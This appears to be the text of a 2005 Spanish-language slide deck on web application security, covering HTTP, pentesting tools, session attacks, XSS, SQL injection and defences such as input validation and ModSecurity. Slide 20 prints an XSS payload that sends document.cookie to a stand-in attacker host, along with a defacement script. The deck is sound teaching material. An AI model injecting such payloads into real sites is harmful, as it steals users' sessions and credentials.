Seguridad en Aplicaciones Web

“Seguridad en
Aplicaciones Web”
Leandro Meiners
lmeiners@cybsec.com
Septiembre de 2005
PANAMA
Seguridad en Aplicaciones Web
© 2005
Introducción al
protocolo HTTP
2
Seguridad en Aplicaciones Web
Introducción al Protocolo HTTP
© 2005
Arquitectura Web Física
3
Seguridad en Aplicaciones Web
Introducción al Protocolo HTTP
© 2005
Arquitectura Web Lógica
4
Seguridad en Aplicaciones Web
Introducción al Protocolo HTTP
© 2005
Características del Protocolo HTTP
•
HTTP/1.0 definido en RFC 1945
• Métodos: GET, HEAD, POST
• Sin Estado: una conexión TCP para cada pedido
• Dos tipos de mensajes: Request y Response
•
HTTP/1.1 definido en RFC 2616
• Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT
• Encabezado “Host”: indica el nombre del servidor al cual se le realiza el
pedido, permite que se utilicen hosts virtuales.
• Sin Estado: una conexión TCP es persistente por defecto.
• Encabezado “Connection”: permite forzar el cierre de la conexión una vez
obtenida la respuesta.
• Dos tipos de mensajes: Request y Response.
5
Seguridad en Aplicaciones Web
Introducción al Protocolo HTTP
© 2005
Autenticación HTTP
El RFC 2617 define dos métodos de autenticación para el protocolo HTTP:
“Basic Authentication” y “Digest Access Authentication”.
6
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Manejo de Sesión: Cookies
• Mecanismo para el manejo de estado en el protocolo HTTP.
• Se define en los RFC 2109, y RFC 2965 añade la versión 2.
• Define el encabezado Set-Cookie (para indicarle al navegador que
debe utilizar cookies):
• Set-Cookie:
NAME=nombre;
Comment=comentario;
Domain=dominio; Max-Age=delta-segundos; Path=path; Secure;
Version=version
• Define el encabezado Cookie (para que el navegador le comunique la
cookie al sitio Web):
• Cookie: 1 NAME=nombre; Path=path; Domain=domain
7
Seguridad en Aplicaciones Web
Introducción al Protocolo HTTP
© 2005
Protocolo HTTPS
•
Definido en el RFC 2818, utilizando TLS (Transport Layer Security).
•
Utilizando SSL (Secure Socket Layer) es un estándar de facto.
•
El protocolo SSL (Secure Socket Layer) fue creado por Netscape y definido
en: http://wp.netscape.com/eng/ssl3/ssl-toc.html.
•
El protocolo TLS 1.0 está estandarizado en el RFC 2246 basado en SSL
v.3.0.
•
SSL y TLS proveen:
• Privacidad.
• Autenticación del cliente (opcional) y del servidor (mediante certificados
digitales).
• Integridad.
8
Seguridad en Aplicaciones Web
© 2005
Configuración
del servidor
Web
9
Seguridad en Aplicaciones Web
Configuración de Servidores Web
© 2005
Banners
Los servidores Web, por defecto, responden su versión en el encabezado
“Server”.
[root@prueba:~]# nc httpd.apache.org 80
HEAD / HTTP/1.1
Host: httpd.apache.org
Connection: close
HTTP/1.1 200 OK
Date: Tue, 31 May 2005 14:21:09 GMT
Server: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7a DAV/2
SVN/1.2.0-dev
Last-Modified: Wed, 11 May 2005 23:31:37 GMT
ETag: "d40136-1f7f-3f6dd12fe6840"
...
10
Seguridad en Aplicaciones Web
Configuración de Servidores Web
© 2005
Directory Indexing – Listado de Directorios
Los servidores Web, permiten listar el contenido de un directorio que no tiene
un archivo de índice.
11
Seguridad en Aplicaciones Web
© 2005
Herramientas de
Penetration
Testing Web
12
Seguridad en Aplicaciones Web
Herramientas de Penetration Testing Web
© 2005
Proxy Local: Paros
Un proxy local permite interceptar los pedidos del navegador y modificarlos.
(www.parosproxy.org)
13
Seguridad en Aplicaciones Web
Herramientas de Penetration Testing Web
© 2005
Scanner de Vulnerabilidades: Nikto
Un Scanner de vulnerabilidades analiza el servidor verificando problemas
comunes
de
configuración,
versiones
desactualizadas
o
vulnerables,
y
problemas de seguridad de distintos servidores y aplicaciones Web.
(http://www.cirt.net/code/nikto.shtml)
14
Seguridad en Aplicaciones Web
Herramientas de Penetration Testing Web
© 2005
HTTP Fingerprinting: httprint
Una herramienta de fingerprinting intenta identificar la versión del servicio sin
utilizar el banner del servicio (ya que el mismo puede ser modificado). En el caso
particular de HTTP nos permite identificar la versión del servidor Web.
(www.net-square.com/httprint/)
15
Seguridad en Aplicaciones Web
Herramientas de Penetration Testing Web
© 2005
HTTP Brute Forcing: BRUTUS
Una herramienta de bruteforcing de HTTP permite realizar ataques de fuerza bruta
sobre los métodos de autenticación HTTP y/o formularios Web de autenticación.
(www.hoobie.net/brutus/)
16
Seguridad en Aplicaciones Web
© 2005
Técnicas de
Intrusión
17
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Escalación de Privilegios y Manejo de Sesión
• Session Prediction: Las aplicaciones vulnerables generan credenciales de
autenticación predecibles; permitiendo deducir las credenciales de un usuario
autenticado o las que van a ser asignadas al próximo usuario que se
autentique.
• Ejemplo: La cookie asignada a cada usuario se realiza en forma
secuencial.
• Session Fixation: Las aplicaciones vulnerables permiten “fijar” la credencial
de autenticación que utilizará el usuario; permitiendo realizar ataques de
session hijaking (robo de sesión).
• Ejemplo: La aplicación toma el identificador de sesión como parámetro, y
si, previo a la autenticación, se le pasa un identificador la aplicación lo
utiliza para el usuario una vez que se autentique.
• Session
Expiration:
Las
aplicaciones
credenciales de autenticación “viejas”.
vulnerables
permiten
utilizar
18
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Cross-Site Scripting
Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una
página Web que se ejecuta cuando la página es accedida por un usuario.
19
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Cross-Site Scripting: ¿Qué se puede hacer?
Robo de Credenciales:
<script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?'
+document.cookie</script>
El script anterior envía las cookies de quién lo ejecute.
Defacement de la página Web:
<script>document.write("<br><h1><font
color=red>Defacement
de
la
página Web.</br></font></h1></html>");</script>
El script anterior modifica la página Web para que aparezca la cadena
“Defacement de la página Web”.
En resumen... ¡TODO lo que se pueda hacer con Javascript!
20
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Cross-Site Scripting y Phishing
Ejemplo:
La URL es la del sitio, sin embargo se visualiza otro sitio a
través de una vulnerabilidad de XSS
21
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
OS Commanding
Es una técnica de ataque donde se manipula los parámetros enviados a la aplicación Web
para ejecutar comandos del sistema operativo.
22
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Path Traversal
Es una técnica de ataque que “fuerza” el acceso a archivos ubicados fuera de la raíz del
servidor Web.
23
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
SQL Injection
Es una técnica cuyo objetivo es el
de
¨inyectar¨
consultas
SQL
arbitrarias en páginas vulnerables
que interactúan con una Base de
Datos,
obtener,
logrando
de
modificar
esta
y/o
forma
eliminar
información sensible.
Atacando ciertos motores de Bases
de Datos es posible, también, lograr
la
ejecución
de
comandos
del
Sistema Operativo.
24
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Soluciones
• VALIDAR EL INPUT y el OUTPUT
• Limitar longitud y tipo de los parámetros
• White-List Approach vs Black-List Approach
• Escapear caracteres especiales
• No mostrar mensajes de error
• ¿ Firewall ?
•No nos protege: todos los ataques mencionados ocurren a través del
puerto del Web Server (autorizado).
• ¿ IDS/IPS ?
• Nos puede proteger: permite rechazar patrones de ataques.
25
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
Validación de Input: En el cliente vs. En el servidor
CLIENTE
SERVIDOR
• Libera al servidor del procesamiento. • El servidor realiza el procesamiento.
• Más rápida para el cliente (no se
• Más lenta para el cliente (se realiza
realiza el pedido).
el pedido y se espera la respuesta con
el error).
Es evidente que conviene filtrar en el cliente detectando de forma temprana los
errores, por ende optimizando tiempos y recursos...
Entonces... ¿Por qué se debe filtrar en el servidor?
26
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
...¿Se acuerdan del Paros?...
TODA validación del
lado del cliente se
puede evadir
27
Seguridad en Aplicaciones Web
Técnicas de Intrusión
© 2005
¿ Los Web Services son más seguros ?
Una vez que se conoce la interfaz de comunicación con el Web Service, se
puede intentar:
• SQL Injection
• XSS
• Path traversal
• OS Commanding
• Buffer Overflows
¿Por qué?
Lo único que cambia es el método de comunicación, por lo tanto, desde el punto
de vista de seguridad, pueden tener las mismas vulnerabilidades.
28
Seguridad en Aplicaciones Web
© 2005
Contramedidas
29
Seguridad en Aplicaciones Web
Contramedidas: Apache
© 2005
ModSecurity
• Módulo para el servidor Web Apache.
• Actúa como IDS entre el cliente y el
servidor Web, filtrando los pedidos.
•Las acciones permitidas son:
• Logear el pedido
• Rechazar el pedido
• Redireccioner el pedido
• Dejar pasar el pedido
(www.modseurity.org)
30
Seguridad en Aplicaciones Web
Contramedidas: IIS
© 2005
IISLOCKDOWN
• Deshabilita servicios inseguros.
• Elimina directorios virtuales instalados por defecto.
• No permite la escritura en directorios Web con permisos del usuario Web.
• Instala URLScan.
URLScan
• Actúa como IDS entre el cliente y el servidor Web, filtrando los pedidos.
• Determina cómo responde el Servidor.
31
Seguridad en Aplicaciones Web
© 2005
¿Preguntas?
32
Seguridad en Aplicaciones Web
© 2005
¿Un cafeSiiito…?
33